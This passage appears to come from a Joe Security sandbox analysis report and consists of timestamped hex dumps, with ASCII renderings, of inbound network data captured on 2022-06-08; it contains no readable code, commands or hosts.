Data Ascii: Vn]W~c1eal:|s5]^_ryM\>53[5Vc+2]l\tmf@4fyGAc"+QIN,lrL_BLkQ]f7s&/;K;d5<l79vq=,cHo'F0c&U:69f6fC2c)i&n
abMJ+:9eR\]ptyzq

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 176 of 211



2022-06-08 07:56:17 UTC 7854 IN Data Raw: 96 02 48 af ba 74 11 d4 47 05 60 a7 b3 65 5c 59 57 b6 c6 62 54 b7 5a 94 13 51 43 9a 9e 48 48 65 cf ce b2 73 
6b 4d 45 37 e6 be 7d 67 71 ed 2a 3b 3b a9 8e 95 39 dd 4d 3b 5d 23 cf 45 cf ba c6 b5 25 bc 5d 4c 62 55 96 23 9a a6 cd 
59 be be 5f 2c c6 bc e7 9c 9a de db 6e 9e cf 1d f1 e7 7f cb e7 87 8e 29 e1 d3 dd 68 c4 79 5e e7 98 26 61 2a 33 04 cc 56 
bb 7b 5b e9 cf 6a dd ba e9 38 f0 97 3c 6a fa 38 76 bf 7e f6 1f 52 c3 97 45 7a 6f e7 5e 7d e5 d7 9d 7c 2b c7 f8 33 ab 8e 90 
2c fd 6d b5 96 59 4d 2c 6a ee 70 39 e2 c6 76 76 ca b2 c5 b6 33 9e 7a 70 b9 2b f3 b6 e7 77 b3 ba b9 b3 e7 14 26 34 fc ee 
97 cd d3 5f c5 af 47 f2 fb 38 0f df fb 3d 13 c1 fd 3e ef 3e 5e 85 8f ce 7d 53 f9 3f e8 7e 77 fa 5f e7 7e 01 ef f9 9d 97 f1 db f4 
9f b7 a7 c8 7f b7 e7 c4 6b 8f 8e fb 3e 67 07 e8 
Data Ascii: HtG`e\YWbTZQCHHeskME7}gq*;;9M;]#E%]LbU#Y_,n)hy^&a*3V{[j8<j8v~REzo^}|+3,mYM,jp9vv3zp+w&4_
G8=>>^}S?~w_~k>g

2022-06-08 07:56:17 UTC 7861 IN Data Raw: 8d 9e 98 6b 2c b0 ba 53 99 c3 e7 be 93 59 c5 ce f9 5e 77 80 f2 f6 ea ba 48 a2 8f 0e b1 e3 a7 40 d7 37 e6 dd 
ee 9c ce 75 6e ea 2c ed 9c ab ed d3 c7 4e be 5b bd 33 2d 8f a9 d2 96 a5 63 26 5c 76 30 b8 b5 f8 f4 f2 7c f0 e2 f8 63 e8 2f 
ad 9e 73 cc f2 0f 9d 07 2d 66 ba f4 f6 43 c3 a4 58 cb 92 7c e7 d7 f8 7a b0 2f 03 9d 6f f1 dc f9 c5 7d 6f a7 e3 bb 6d eb e3 
d3 cf 76 98 77 8f a6 f8 fb cf d7 a5 2c cc dd 6f 2b 87 a3 d8 ff 00 35 e8 e6 7d bb f4 af 99 eb e9 31 e9 b4 de 8f 8f b7 53 3a 
d3 ea 81 be bb 9d cd aa bd bc d8 5e ef 35 2e 9e 28 7d be 6e 53 e8 79 f9 7f 66 30 bd 78 e4 7d 1c e9 f4 e3 43 b5 eb 72 c3 
ec d3 c5 ec 79 74 a5 b9 73 2e db 8e f0 37 2e 2f a1 f2 df 03 d3 0e 5f 42 f3 6f cd 7d 13 7f 9f 41 9b e9 1e 3d f9 b7 af 9d 3b 
96 65 dc f9 fb f2 59 8a cc 3d 63 57 e6 4e 4a 
Data Ascii: k,SY^wH@7un,N[3-c&\v0|c/s-fCX|z/o}omvw,o+5}1S:^5.(}nSyf0x}Cryts.7./_Bo}A=;eY=cWNJ

2022-06-08 07:56:17 UTC 7877 IN Data Raw: e6 58 16 a6 8c f9 5b 8f f9 37 2e 79 95 0d 7c 76 5f 31 75 0a e7 38 df 8b 3a 4f ec bf 2a 6d 2c 89 c9 67 e3 0c 83 
88 65 44 21 1a 23 66 56 6c 20 31 f2 61 68 cc b8 08 e2 0e 52 db 6d 70 75 50 c6 ba bb 20 36 15 be 66 4d 90 bb f9 0c c3 11 
55 c0 55 b0 bc c6 b8 12 75 da 5f 81 46 c8 91 2c 88 c4 65 e5 9c 93 9f 5d f3 ca cb db d8 25 91 b5 b2 c1 f0 18 cc 6e 3f 1e 
bb fb 15 10 8d 7b 6a 80 37 19 29 cc cd 46 0e 6a 8c 62 3e 40 86 5c 80 19 77 9b 72 b2 a4 15 62 d8 ce 3f 24 84 ac 98 15 
3c 06 36 35 91 35 e3 c6 6b 27 00 81 50 95 32 f9 5c 4b 22 4f 2d ad 8d fc 8d b2 52 92 36 04 62 ea 80 0c ad 9b a8 5d 64 6c 
b2 c1 60 3c 0a 35 02 6c ba 6c 26 41 37 99 29 40 48 84 4a 75 7e 4c 28 8e b3 b0 63 6c 87 cf 29 83 15 4c 79 4b 6c 6c 11 
d5 dd 90 6b 96 35 af 93 74 71 e5 4c d9 43 84 94 6d 01 59 92 
Data Ascii: X[7.y|v_1u8:O*m,geD!#fVl 1ahRmpuP 6fMUUu_F,e]%n?{j7)Fjb>@\wrb?$<655k'P2\K"O-R6b]dl`<5ll&
A7)@HJu~L(cl)LyKllk5tqLCmY

2022-06-08 07:56:17 UTC 7893 IN Data Raw: 61 12 e8 0f 0d e4 78 28 a7 40 a1 25 c9 72 44 a7 4e 89 5c 91 92 74 eb 92 e4 b9 27 5c 97 24 e9 d3 ae 4b 92 74 
e9 d3 fe 8b ff 00 82 e9 fc 01 e4 7e f3 c8 8b 55 00 46 45 92 63 71 b0 71 69 53 93 09 4a d2 f2 8d d6 4e 51 9f 12 3d d1 28 
94 13 f8 7f 43 2e 2b 8a 6f 43 20 13 26 5c 57 15 c5 32 64 42 6f 4f ba 01 08 a6 51 f7 5c 7c 3f 83 26 5f 30 42 6e a5 34 6c 65 
c9 cf c8 02 36 05 3b 01 46 c2 54 80 28 c1 44 b2 92 89 52 b1 90 c8 12 46 44 af dd 30 08 31 f0 fe 00 4d e1 94 ee 8c 11 cb 
8b d9 32 a0 0c 8c 0f b6 4c 5d 10 8f b2 8c d4 ec 46 41 73 0b e4 08 dd 10 8e 5c 01 9e 54 58 66 c5 4f 3c 13 f9 cc 8e 54 9b 
f2 dd 0b 48 95 b1 99 32 e5 28 9b c5 71 16 12 67 59 8a 8d a2 48 65 d7 5a c9 dd 61 d5 1c 7d ee 19 96 4f 6f c2 ac 0e e1 8c 
51 ed d5 c9 7f cc 2c 03 fe 47 97 33 2d 8e 75 8a 19 db 
Data Ascii: ax(@%rDN\t'\$Kt~UFEcqqiSJNQ=(C.+oC &\W2dBoOQ\|?&_0Bn4le6;FT(DRFD01M2L]FAs\TXfO<TH2(qgYHe
Za}OoQ,G3-u

2022-06-08 07:56:17 UTC 7901 IN Data Raw: 21 37 86 40 23 1f 20 7a 08 40 26 44 26 f4 32 64 c9 bd 4c df a4 42 6f 2c 99 37 96 4d e5 93 78 29 93 26 4c 99 
32 64 c9 93 26 4d e5 bc b7 86 4d ea 64 c9 bd 0c 88 f0 de 59 32 64 c9 93 7a 9b f4 5b f4 19 37 a1 93 22 3f c2 64 c9 93 79 
6f 0d e8 21 71 5c 57 15 c5 18 ae 2b 8a e3 e5 bc 37 96 4c 99 32 64 c9 93 7f 86 c9 93 7a 19 37 f9 0d e9 6f 57 1f 53 78 3e 
92 13 78 6f 27 c0 09 93 26 40 78 64 c9 91 08 22 13 26 4c 9b cb 26 4d e1 90 f2 c9 bd 04 79 64 c9 93 26 4c 99 37 80 9b f4 
99 37 a1 bc b2 64 c8 84 c9 bd 0d e9 64 c9 bc 32 6f 0d e0 fe 8b 26 f5 b2 6f 2c 99 32 64 47 86 4c b8 ae 29 91 09 93 7f 80 
df a2 42 1e 19 32 6f 0c b8 ae 2b 8a 21 00 99 32 64 de 86 4c 99 32 6f d1 6f d7 64 c9 93 21 e1 93 20 3f 4d 93 26 f4 37 86 
4d e5 90 09 bd 0c 99 32 6f 5b 7f 8c de 59 32 64 c9 bd 0d 
Data Ascii: !7@# z@&D&2dLBo,7Mx)&L2d&MMdY2dz[7"?dyo!q\W+7L2dz7oWSx>xo'&@xd"&L&Myd&L77dd2o&
o,2dGL)B2o+!2dL2ood! ?M&7M2o[Y2d

2022-06-08 07:56:17 UTC 7917 IN Data Raw: fd 6c 8f 97 f2 3c 14 42 64 de 02 64 54 49 08 a7 5f ba 64 4f a1 90 2c be 23 15 3f 72 65 ec 63 ef cc c8 e3 db f1 
4b 2b 2b e5 97 ca 42 c5 cd f8 a3 0c f1 25 fc 8c 42 96 7c 44 7f 2e 05 02 8a 67 5c 5b c4 a2 64 a1 49 50 ad 97 14 c9 90 8a 
9d 40 af 89 94 aa 51 8b 28 a2 81 42 61 3f 82 89 4f e2 51 5c 50 08 85 c5 71 51 8b 78 91 45 40 a9 16 4e e9 94 a2 e8 45 
94 a2 8c 14 6b 5f 1a 11 64 c9 93 20 3c 10 e9 99 02 c8 d8 4a 21 d7 14 cb f6 40 a8 a0 54 80 2b 91 89 ae 6a 12 55 c0 15 f8 
e0 a9 62 15 c7 89 31 94 11 b0 13 2c 5e 4a cc 25 f0 32 88 e2 84 c5 82 ea f8 a2 59 7c 8a 53 25 18 3a e0 c9 d0 89 2a b8 
80 0c 98 7c ae 81 44 fb a7 4f e5 91 1e 86 f0 ff 00 e1 3f a0 fe b3 f9 64 3c 14 11 4f e4 fa d9 7e c8 97 f0 fe 02 3e 87 41 03 e1 
d9 3a 7f 41 f0 13 a7 f0 7d 0e 8a 21 01 fa 07 c3 20 1b 
Data Ascii: l<BddTI_dO,#?recK++B%B|D.g\[dIP@Q(Ba?OQ\PqQxE@NEk_d <J!@T+jUb1,^J%2Y|S%:*|DO?d<O~>A:A}! 

2022-06-08 07:56:17 UTC 7933 IN Data Raw: 17 06 5c 11 8a e0 8c 09 5c 17 16 5c 09 46 05 18 2e 08 05 c5 18 32 e0 10 8a 31 45 18 a1 14 c8 85 c5 32 e2 b8 
ae 2b 8a e2 88 64 c8 85 c5 71 4c c8 c5 71 4c 99 18 a2 13 2e 29 93 26 0b 8a 21 32 e2 b8 a2 10 0b 8a 65 c4 a6 64 20 b8 
05 c5 70 64 20 cb 8a 01 32 e2 1b 8a e2 eb 8a 21 71 44 2f 6f 04 af dd 08 ba 31 42 2b 8a e2 17 10 51 8a 11 46 28 05 c5 10 
42 11 4c 10 8a 01 71 4c 80 75 c5 00 99 32 e2 b8 ae 28 05 c5 90 0b 8b a6 5c 51 83 2e 08 06 40 20 17 14 02 64 c8 04 02 
64 c9 97 14 02 64 22 b8 84 62 84 17 14 20 b8 00 b8 ae 20 21 17 4c 84 57 10 b8 b2 21 70 65 c5 08 ae 2b 8b a6 40 2e 29 
82 e2 b8 a1 12 9b dc 45 71 5c 57 15 c5 71 5c 53 21 17 5c 57 15 c5 00 99 d7 14 22 17 c6 b8 2e 2b 82 e2 cb 8a e2 eb 8a 
31 74 22 84 59 71 75 c1 70 5c 59 08 ae 2b 8f b0 82 10 5c 51 82 31 40 
Data Ascii: \\\F.21E2+dqLqL.)&!2ed pd 2!qD/o1B+QF(BLqLu2(\Q.@ ddd"b  !LW!pe+@.)Eq\Wq\S!\W".+1t"Yqup\Y+\Q1@

2022-06-08 07:56:17 UTC 7941 IN Data Raw: ee 9c 23 ee 89 4e 9d 3f 82 9d 93 a2 53 ae 5e 4f b2 25 d7 ec 9d 7b af 74 ed e1 d9 3a fd d0 3e 1b c1 28 97 44 
a3 25 c9 3a e4 89 4e 9d 3a 75 fb a2 51 4e 9d 12 e8 1f 0e 02 e4 b9 23 27 5c 91 92 05 72 5c 97 24 e8 96 4e 84 97 27 5c 
80 5c 90 2b f7 4e 84 97 25 c9 3a e4 b9 27 42 48 49 3a e4 81 52 92 e4 9d 72 4e 9d 3a 75 c9 d3 a3 24 65 ee 24 54 5e 46 
9c bc 6b e5 95 db fa fe b2 cd df f6 47 1f 5b 9b d3 3f b3 5b bd 86 46 c3 fb 41 1a a7 77 f6 97 7b 70 97 f6 5f b4 18 1f bd 7b 
ae c1 64 fd a5 dd 73 07 fc a3 7b cb 37 67 97 94 4e 38 32 c7 fc 78 0c 7d be 3f cb 1c fc cb 44 77 9b 03 4d 1f f2 43 9f b5 ec 
58 f8 47 57 9d 9f c2 5b 49 88 59 d8 b2 8d 53 ec 5c 30 f1 f6 74 61 46 ce cc 0d 5a fb b1 b7 02 da f1 69 31 cf 9e 1a c1 cc cf 
db 5b b0 e8 fb dc 3c cc 6b 6e c1 c5 db 67 6c b1 6e eb 
Data Ascii: #N?S^O%{t:>(D%:N:uQN#'\r\$N'\\+N%:'BHI:RrN:u$e$T^FkG[?[FAw{p_{ds{7gN82x}?DwMCXGW[IYS\0ta
FZi1[<kngln

2022-06-08 07:56:17 UTC 7957 IN Data Raw: 65 ac 9f ae 3b 2d b9 9d ff 00 b0 dd d7 31 6a ec f8 f9 42 dc aa fb 2e 36 9b a4 df 4c f0 fe aa db f4 1c bc bf af eb 
c8 1d 5f ab e3 69 b1 32 aa a6 cb fa d7 5d 3d df b1 7d 95 f4 5e db a6 f6 4f ab ff 00 a4 79 9f 63 f4 6d bf d7 b9 bd 70 e9 ba 
f7 5f 16 7d 87 f4 c6 d7 ab e8 7a af de 98 1d 47 af ef 3b bf f3 d8 35 7d 81 b2 eb b6 fd 71 ff 00 b0 4d df d7 ba 2c 9f fd 92 fc 
b8 77 ff 00 7c 3e d8 ef 12 fb 1b b7 ff 00 22 35 fd 26 7b 9c 3e 59 a0 44 67 cc 8a b3 49 fc 7c 82 4e 35 b0 4f 34 25 24 2e 9c 
08 cf bc 0f 9c c9 19 c6 51 b2 ca 62 63 95 8c 09 cb a9 57 93 8e bf 23 1c a3 91 42 85 f4 21 91 40 23 2f 1e 2a 39 54 21 b1 
ba dc c8 76 4a f1 28 8f 58 d9 9b af e9 19 77 a3 d3 36 55 0a 7a 3e c2 13 b7 a6 6d e0 2b eb 9b 18 a9 e8 76 94 93 a8 cd a9 
7e 3e 44 55 70 b2 83 29 4c 4c 5d 52 fc 
Data Ascii: e;-1jB.6L_i2]=}^Oycmp_}zG;5}qM,w|>"5&{>YDgI|N5O4%$.QbcW#B!@#/*9T!vJ(Xw6Uz>m+v~>DUp)LL]R

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:17 UTC 7973 IN Data Raw: 0c 47 e6 e3 cd 60 d7 44 32 71 b6 56 d0 b0 fb 76 2c b6 9d 57 b6 57 9f 7f d9 1d db 77 ad c6 89 b2 72 c4 e5 5c 
31 cc d7 cb 58 58 d3 8c a6 73 24 d7 e4 dd 08 dd 3b 1e dd 8e 1d b2 db 76 5c 6d 75 37 76 3c dd ce 1d 56 66 66 2d be 46 
e1 69 fb 26 cb 1f 04 6c 35 9d 6c 65 fd e3 b1 c2 af 67 f7 ae d7 63 91 5f dc 1b 73 1c 7f b9 b2 82 c4 fb 97 14 d5 a5 de 6b f7 
d8 d8 93 bb 2a 54 e6 4a 35 6c f3 be 65 55 b4 85 6d d8 e4 4c 43 06 72 c6 86 4d 76 e0 ca b5 0c 59 a9 51 3b 27 18 64 4a 
46 9c b2 be 4c 82 73 2b a3 12 3d 8b a4 62 ed a7 9d a7 b7 01 51 33 45 3b 0c db b2 b2 05 a0 9d 77 46 d9 e6 d7 a2 8e 9b 
5f 9d b4 d8 ea f2 b3 67 85 85 74 69 9d d8 c7 0f 63 cc 7e 74 69 a7 1f 67 60 15 55 f9 f2 b3 5f 65 26 9d 4d b7 c6 3a ac 71 2c 
8e af 19 1b ee ba 91 91 d2 2a cd 59 b1 cb d4 5d 85 dc 2e aa 
Data Ascii: G`D2qVv,WWwr\1XXs$;v\mu7v<Vff-Fi&l5legc_sk*TJ5leUmLCrMvYQ;'dJFLs+=bQ3E;wF_gtic~tig`U_e&M
:q,*Y].

2022-06-08 07:56:17 UTC 7981 IN Data Raw: 17 04 49 40 c8 98 b4 90 8c 8a 8d 64 22 11 67 85 72 51 12 51 aa 72 15 82 00 ae 00 46 31 70 cd 16 47 8a 60 
e0 a2 e8 af 72 99 1a c1 42 b2 f5 56 b3 b0 29 cd a3 5d d4 f3 68 ca 86 28 a2 36 5f f3 0e df d2 77 7a 9b be 9f cd c3 c7 d2 ed 
3a 5e ab 5d 8b 91 0a 6a 9e da ed 88 98 de d5 4d 54 e7 65 e5 4b 1b 1c 55 64 ad 98 b3 6f b2 9c 25 99 be c2 18 fb da bb 
66 e6 cc ff 00 ad fb 15 77 64 e0 5f aa 94 6f e4 3e 43 1a b0 25 33 66 bb 2b 3b 06 16 8c 6c 9c fd a6 7e af 02 39 7d 0f f9 38 
5f d7 74 f8 a7 e8 8b ba fe 8b b8 fd f7 bf ab 67 da ab c8 fc dc 3e a1 46 7e a2 86 b8 cf 0b 53 d8 ea 54 75 4b aa 8e ae 18 9a 
44 77 e2 fb 2e ec 77 5a a7 b4 cb cd ab 16 56 dd 0c 6d 28 b4 ff 00 07 ad 84 a1 a7 c3 92 cd c6 c0 d7 57 93 dd b5 f8 aa ce 
dd 79 85 dd 9b 22 72 ff 00 90 65 4c 4b 6f 99 28 c3 6d 
Data Ascii: I@d"grQQrF1pG`rBV)]h(6_wz:^]jMTeKUdo%fwd_o>C%3f+;l~9}8_tg>F~STuKDw.wZVm(Wy"reLKo(m

2022-06-08 07:56:17 UTC 7997 IN Data Raw: 92 af eb 5d e5 ca 1f 58 ca 56 eb fa 2e 25 cb 33 53 a9 d3 8e bb a4 c7 bb 23 4f 83 da 65 81 87 f5 d7 70 db 5b 8b
f5 4e bb 22 d9 f4 2e 9d a5 cd d9 ff 00 c6 0d b9 3f 6d d3 89 18 7d 9b 3c a8 db d8 bb 8e fe d9 f4 3d 9e 45 7a bf a8 b1 70 
d6 0f 43 c5 c5 1a fc 2c 1a 06 c3 b3 63 e0 43 b5 77 9c ec 0d 36 c3 b9 e1 62 6a 23 df 6d d3 ec f6 5d 86 7b fb 67 97 b2 d2 
dd ac fb 18 d4 b1 3b 54 f2 69 dd d7 1d 96 26 1e a3 1b 17 5b 7e ce 10 b2 9c d8 5b 6e b6 88 6c b2 72 70 4e 3c b5 f6 d7 75 
57 43 0f 6b 0c fc 3b 71 e3 4c 9e 5b 7c 41 45 82 e9 05 19 57 3a 86 c4 63 0b b2 45 aa 56 99 91 93 5d 8a fe 19 e7 47 ff 00 
eb 5f be 13 a2 35 67 4e ab 4c a0 63 6d 76 d4 39 55 75 79 18 36 61 4a 39 1f 2c 6d cc 35 2c ab a7 19 d7 69 84 0d ec 74 19 
70 86 76 5e 2e cf 10 57 c7 94 1a 12 c6 c1 b7 61 3b 39 
Data Ascii: ]XV.%3S#Oep[N".?m}<=EzpC,cCw6bj#m]{g;Ti&[~[nlrpN<uWCk;qL[|AEW:cEV]G_5gNLcmv9Uuy6aJ9,m5,i
tpv^.Wa;9

2022-06-08 07:56:17 UTC 8013 IN Data Raw: 43 16 58 98 b8 7a fa 6f ca eb 94 9c b8 6a e2 69 c1 af 0e 50 dc e2 62 57 5e 66 bb f9 5c 7d 5e a2 ec ba b1 63 f2 
63 e6 f5 9d 6e ea 8a 32 ed 80 bb 58 75 eb 43 95 f9 56 eb e3 4e 36 27 e1 cc aa f0 ee 9c e1 89 3a e5 76 9e ca 23 2a 66 23 
f1 48 08 df 40 27 33 1e 30 a7 67 85 54 4e cf 1e 33 b3 71 30 a9 ca b6 62 76 65 c8 59 66 51 36 53 68 11 c7 95 92 95 50 e5 
1f 86 30 73 93 29 09 d4 06 2c 44 2b c5 20 0c 59 1a cd 72 e5 7c fe 18 42 f9 dc 48 b7 1e 33 b3 22 e9 19 4a 93 87 0b 49 38 
3f 15 d3 d8 57 7d 76 65 c0 dd 7d 16 d4 46 39 ac 5d 48 70 6d c7 18 f6 ce b9 81 12 a5 8d 54 4d 14 df 21 71 ae 33 fc 9a b0 
cd f6 4a d8 d3 6c 6c 8f 0a d4 b2 e2 61 76 4e 4e 32 96 7e 5e 72 19 13 82 a2 ba e1 2a 6f 8c cd 96 31 88 99 43 2e 71 3f 8f 
6e 4a c8 c3 bb 1e 7f 87 66 35 78 f3 b2 d9 d3 82 08 89 
Data Ascii: CXzojiPbW^f\}^ccn2XuCVN6':v#*f#H@'30gTN3q0bveYfQ6ShP0s),D+ Yr|BH3"JI8?W}ve}F9]HpmTM!q3Jl
lavNN2~^r*o1C.q?nJf5x

2022-06-08 07:56:17 UTC 8020 IN Data Raw: 2b fc 2c 2b 72 74 99 59 74 64 e6 68 ed b6 88 f5 1b 4d 7d 7f b1 6d 31 61 9d b4 a3 5f 6e 65 71 dd 63 63 e4 53 
2c 7c 9f cc d2 e4 ea f7 75 6e 29 a2 8b b1 b2 46 3c 76 50 c5 d7 d7 83 5e 65 f3 dc 64 ec 31 4e d6 fb ec ac 53 93 8f 2c 39 
46 fc 5c cd 54 36 d6 5d 3f e7 e5 68 ba 50 c8 b7 57 b7 8c 63 d9 69 b7 4f 95 1c d1 4d 5a ec da 7f 23 16 76 ea e7 81 4d 38 
f3 23 85 7b 1d 79 be a8 4b 27 0a 7a 5e cf 66 56 05 18 b4 e4 e3 67 e7 9a 36 b7 6c b1 32 71 76 d9 7f 8d 46 36 d2 ab f1 6e 
bb 51 54 f7 d1 c4 db df d9 f0 ad 12 cf ca 9f e4 63 48 4a 5a da 61 1c ba e5 4d b8 99 94 5b 4e 36 b7 37 22 ec 38 64 fe 16 
46 d2 b9 4b 13 57 77 f1 cb 03 73 66 16 1e 16 bf 53 91 87 b8 cf 9c ad 8d 99 1b 0d 5d 18 ff 00 1d bf 89 6e 64 f6 17 4f 5d 76 
34 ef 8d 52 b2 ca e1 91 b5 b7 2e 8d 36 c6 78 74 4f 32 
Data Ascii: +,+rtYtdhM}m1a_neqccS,|un)F<vP^ed1NS,9F\T6]?hPWciOMZ#vM8#{yK'z^fVg6l2qvF6nQTcHJZaM[N67"8
dFKWwsfS]ndO]v4R.6xtO2

2022-06-08 07:56:17 UTC 8036 IN Data Raw: f3 ae 74 50 55 61 11 5b 11 20 92 15 5c fb 97 11 7d 94 b2 ad 7b 28 b8 be c0 bf 23 89 30 5b 4a 70 aa 3a 35 3d 
0f 4e 6d da af c9 e1 89 3d 80 95 c3 97 3f d2 7e 09 c6 51 ef 20 7b 4a 69 cb 2a 2f fb d9 81 87 6e c4 f9 9f 55 91 1e a1 23 23 
e0 13 66 7d 6c 7f 2c 09 3e 25 7f 5f 3b 30 f5 46 31 0b f9 31 2d b4 dd 3c b2 e3 3e a9 3b 26 c8 fa 7c a2 75 03 0c 4b 17 d3 
e4 47 28 6d 11 86 58 fe f1 74 47 d4 fd 5c 32 f6 ff 00 38 44 7f 75 37 d5 7f 98 47 af 0e 2c df 7a 69 67 67 66 ff 00 0c 44 7f d6 
b2 e1 fa 7c c9 ff 00 1e 66 11 de 22 bf 93 f4 b9 31 eb 20 e6 1f 12 9b 28 c6 03 64 21 18 fb 9d 71 e6 4c fe 62 aa fb d5 74 d7 
45 53 84 e5 3b a6 86 f4 e7 d0 ee 0b 74 03 10 08 3d 6a ca d5 4d 17 7d 6b 16 bd 05 cb b5 ba fe c0 d1 51 71 7a 61 b9 be 
e2 9c 68 64 e5 38 0a cb 52 a9 0a b2 09 8c d6 07 
Data Ascii: tPUa[ \}{(#0[Jp:5=Nm=?~Q {Ji*/nU##f}l,>%_;0F11-<>;&|uKG(mXtG\28Du7G,ziggfD|f"1 (d!qLbtES;t=jM}kQqz
ahd8R

2022-06-08 07:56:17 UTC 8052 IN Data Raw: 49 16 a1 34 50 fb b2 ac 7b 64 66 2c cb b7 5c 58 dc 78 35 f3 e1 47 f3 b0 b7 1d a4 16 54 54 26 39 13 ca f9 b8 
1d 6d 9f 8d 6f 8b ff 00 4d c6 00 fe 5f d4 af 12 a8 b3 5c ee f5 2b 5f 5b 0c 78 54 fd d6 7e 3c 70 73 78 e8 5a 66 42 23 12 f1 
8e 2c c5 70 19 1e de b1 97 46 ce 94 d0 a4 0a dc 65 64 c7 a8 ec 24 8b 87 1d 09 eb 73 ea b6 a0 d4 9c de 3e f9 59 25 b9 
8d 05 95 e3 6d 0a 1b 6e fb ee 7e 34 fc 29 e4 6e 3b 44 b0 a7 0f 92 e4 6f 8e f2 6d 68 e6 b8 db b6 c6 ca 4d 8f f2 d7 2f 8b 2f 
1a 14 e1 34 12 08 26 84 11 13 10 0c 6c a1 49 bc 6e 86 f7 1a 1f e5 e9 4d dd 3f 33 28 1c 29 43 ce 89 21 3e de f0 04 6e a1 
af b9 18 60 9c 15 23 e7 52 2c f1 71 f9 10 94 92 db e2 12 c3 2a 68 4e d6 1a 1f 91 07 ad 06 98 c1 c7 89 cc ad 27 1d c3 a8 
16 be c8 d9 c9 26 f7 d1 d7 e9 04 0a e3 f2 fb 77 2a 03 
Data Ascii: I4P{df,\Xx5GTT&9moM_\+_[xT~<psxZfB#,pFed$s>Y%mn~4)n;DomhM//4&lInM?3()C!>n`#R,q*hN'&w*

2022-06-08 07:56:17 UTC 8060 IN Data Raw: e4 21 1e 96 03 ea f0 f0 a8 04 1c 8e 3f 32 23 04 71 ab 49 17 b7 b9 b2 4a fb 72 68 a0 8c 79 de a7 ee b1 43 ef f2 
77 fb a6 18 fd 48 8c 01 0a c4 93 71 a9 db 8b 57 21 bf 50 46 1b 8f c9 6d 92 c4 f1 16 58 d7 20 04 3e 43 1e 7a de 87 fb 34 
e2 48 63 6b 07 0a 4a fc 15 8e 59 4f fa 87 96 68 44 79 30 c5 01 60 0c 92 b9 b7 ab 45 b7 80 38 35 27 62 1c 88 4f 06 5e 4c 
71 b3 7d 51 21 27 6d f1 a9 cf 43 a7 c2 b9 5d b3 be 72 67 8a 08 de 68 3d ce 33 46 c7 de 8c 1f 6e ec c7 6f b6 cd 6b 91 9b 
5c 8c d4 d1 f1 8b a4 aa 77 61 ae a4 5e c4 8b e0 80 49 cf 85 7b e6 00 ce 36 c6 c3 56 37 f0 23 ff 00 84 69 9f 8f 1b 31 0a 
45 8b 8f fb 82 f9 fd f7 b7 ab a6 45 2f 01 86 c6 75 d5 53 25 c6 48 bf 87 5b da f4 91 f2 4c 72 44 bb 80 7c 90 35 b0 b7 8d 41 
37 72 91 59 e3 8d 22 8e c2 c0 44 80 5b 16 b3 0e bf 
Data Ascii: !?2#qIJrhyCwHqW!PFmX >Cz4HckJYOhDy0`E85'bO^Lq}Q!'mC]rgh=3Fnok\wa^I{6V7#i1EE/uS%H[LrD|5A7
rY"D[

2022-06-08 07:56:17 UTC 8076 IN Data Raw: 80 fe 5f 3f 9d 47 3f 35 82 c9 21 b0 40 72 3e 27 4b 53 cc 26 0b 2c 23 e8 0b aa 5f d3 ae 40 3d 00 a8 e1 99 8c 72 
30 1b 96 26 be 01 07 a8 b9 bd 3c 3c 88 cc b2 de c7 68 16 b0 18 b5 f5 b5 28 44 65 57 d3 67 a4 0b 75 b7 9d 09 b9 89 24 
cb 29 1b 15 06 e3 71 a1 36 b5 be 06 a2 ed dc 99 52 69 f7 ee 95 43 0b dd f2 6e 74 c6 80 5b 1a 0a fc 87 03 da 92 f6 62 50 
9b ed cd c5 8f f4 e9 8a 59 1d 5e 4b 31 24 06 c0 00 75 f1 63 e1 d2 bd b8 e2 43 12 0b a1 6f ac 00 31 70 3f ca 89 32 32 23 
10 0b 27 a4 83 e0 48 fd d5 ed 4a 5a 40 a2 cd b8 df 5f 85 08 51 44 5c 56 51 ee 2a df d7 61 92 cd 7b db cb 4a 1c c8 7d 62 
e0 18 e3 53 e9 51 85 b3 1c 02 69 4f 0c 7b 2c 50 a8 72 7e 95 5c 90 3c 81 39 6d 68 b3 ce 7d ae 2e 7d c6 1a b1 d4 80 32 
48 e9 47 b3 fe 5d 8c 72 0f 72 59 15 76 ed 24 63 d4 6f 93 e0 
Data Ascii: _?G?5!@r>'KS&,#_@=r0&<<h(DeWgu$)q6RiCnt[bPY^K1$ucCo1p?22#'HJZ@_QD\VQ*a{J}bSQiO{,Pr~\<9mh
}.}2HG]rrYv$co

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:17 UTC 8092 IN Data Raw: 92 fe 39 17 bd 8e a3 16 a9 23 59 78 d1 b2 c7 ee 6f e5 72 4a 07 57 8d 5e e8 cd 7b e1 80 d7 50 6a 5f d2 bf a8 
79 5c 4e 24 bd bf 83 c3 59 53 b6 12 c8 db 94 81 23 58 b6 f9 1b 59 1c 61 8e 40 15 c2 ef 87 b8 71 39 bc 6e 77 35 fb 77 09 
a2 e4 2f e7 1f 91 18 04 ab 2a 8d e9 a8 da cc b6 63 81 7a 61 cc ed 1c 8f cd 71 a4 28 39 12 94 8b 68 5d 01 60 72 7c 6e 29 
df b7 f2 38 bc 79 24 c8 32 4b b9 6e 35 d7 04 d4 27 b5 f7 1e 0c 3c b8 e7 12 31 33 20 04 2f d3 6b 8d 41 cd 4b dd 3b 8f ea 
2e e5 ed 48 e1 96 65 78 e4 49 24 55 b2 ae 41 07 c0 2e 05 70 bb 67 e9 9e 11 ed 5d f9 4a 0e 67 71 90 47 2f ba 14 7a 8a 
46 17 6c 7b ce 7a d8 5f 19 ae eb dd fb af 20 43 dd 3b 91 65 32 01 27 b4 5d d8 1d db 00 28 0e 30 36 da 9f ba fe a0 ed dc 
38 a1 94 08 e6 96 79 15 65 9d 71 b4 aa 00 71 e7 8f 2a 3f fc 
Data Ascii: 9#YxorJW^{Pj_y\N$YS#XYa@q9nw5w/*czaq(9h]`r|n)8y$2Kn5'<13 /kAK;.HexI$UA.pg]JgqG/zFl{z_ C;e2']
(068yeqq*?

2022-06-08 07:56:17 UTC 8100 IN Data Raw: 5e 2f 1a 5e 1c dc d3 dc 3f 51 6f e2 6d 48 9d 62 e3 43 ee 4a 1d e2 91 9b 78 1c 8b bc 78 52 ac d6 a8 bf 50 af 67 
e3 f6 2f d4 cf cc 69 24 ee 70 9e 27 27 8e bc 36 62 ed c4 fc ab 16 0c b7 21 7d f0 ab 2e d5 18 b9 bd 77 9f d7 7f a6 0f fb 8f 
